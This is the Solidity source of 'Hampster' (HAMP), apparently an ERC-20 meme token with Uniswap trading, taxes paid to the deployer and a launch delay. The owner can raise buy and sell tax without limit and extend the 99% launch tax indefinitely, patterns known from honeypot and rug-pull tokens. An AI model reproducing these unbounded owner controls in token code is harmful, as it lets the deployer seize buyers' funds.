文件 1 的 1:Hampster.sol
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, " multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "new owner is the zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Hampster is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFeeWallet;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;
uint256 private constant onePercent = 10000000 * 10 ** _decimals;
uint256 public maxWalletAmount = onePercent * 2;
uint256 private _tax;
uint256 public buyTax = 20;
uint256 public sellTax = 30;
string private constant _name = "Hampster";
string private constant _symbol = "HAMP";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address payable public taxWallet;
uint256 private launchedAt;
uint256 private launchDelay = 2;
bool private launch = false;
uint256 private constant minSwap = onePercent / 20;
bool private inSwapAndLiquify;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
taxWallet = payable(msg.sender);
_isExcludedFromFeeWallet[taxWallet] = true;
_isExcludedFromFeeWallet[address(this)] = true;
_allowances[taxWallet][address(uniswapV2Router)] = _totalSupply;
_balance[taxWallet] = _totalSupply;
emit Transfer(address(0), address(taxWallet), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setNewLaunchDelay(uint256 newLaunchDelay) external onlyOwner {
launchDelay = newLaunchDelay;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "low allowance")
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(
owner != address(0) && spender != address(0),
"approve zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function enableTrading() external onlyOwner {
launch = true;
launchedAt = block.number;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "transfer zero address");
if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
_tax = 0;
} else {
require(launch, "Wait for the launch");
if (block.number < launchedAt + launchDelay) {_tax = 99;} else {
if (from == uniswapV2Pair) {
require(
balanceOf(to) + amount <= maxWalletAmount,
"Max wallet is set: 2% at launch"
);
_tax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minSwap && !inSwapAndLiquify) {
if (tokensToSwap > onePercent) {
tokensToSwap = onePercent;
}
swapTokensForEth(tokensToSwap);
}
_tax = sellTax;
} else {
_tax = 0;
}
}
}
uint256 taxTokens = (amount * _tax) / 100;
uint256 transferAmount = amount - taxTokens;
_balance[from] = _balance[from] - amount;
_balance[to] = _balance[to] + transferAmount;
_balance[address(this)] = _balance[address(this)] + taxTokens;
emit Transfer(from, to, transferAmount);
}
function removeAllLimits() external onlyOwner {
maxWalletAmount = _totalSupply;
}
function setNewTax(
uint256 newBuyTax,
uint256 newSellTax
) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
taxWallet,
block.timestamp
);
}
receive() external payable {}
}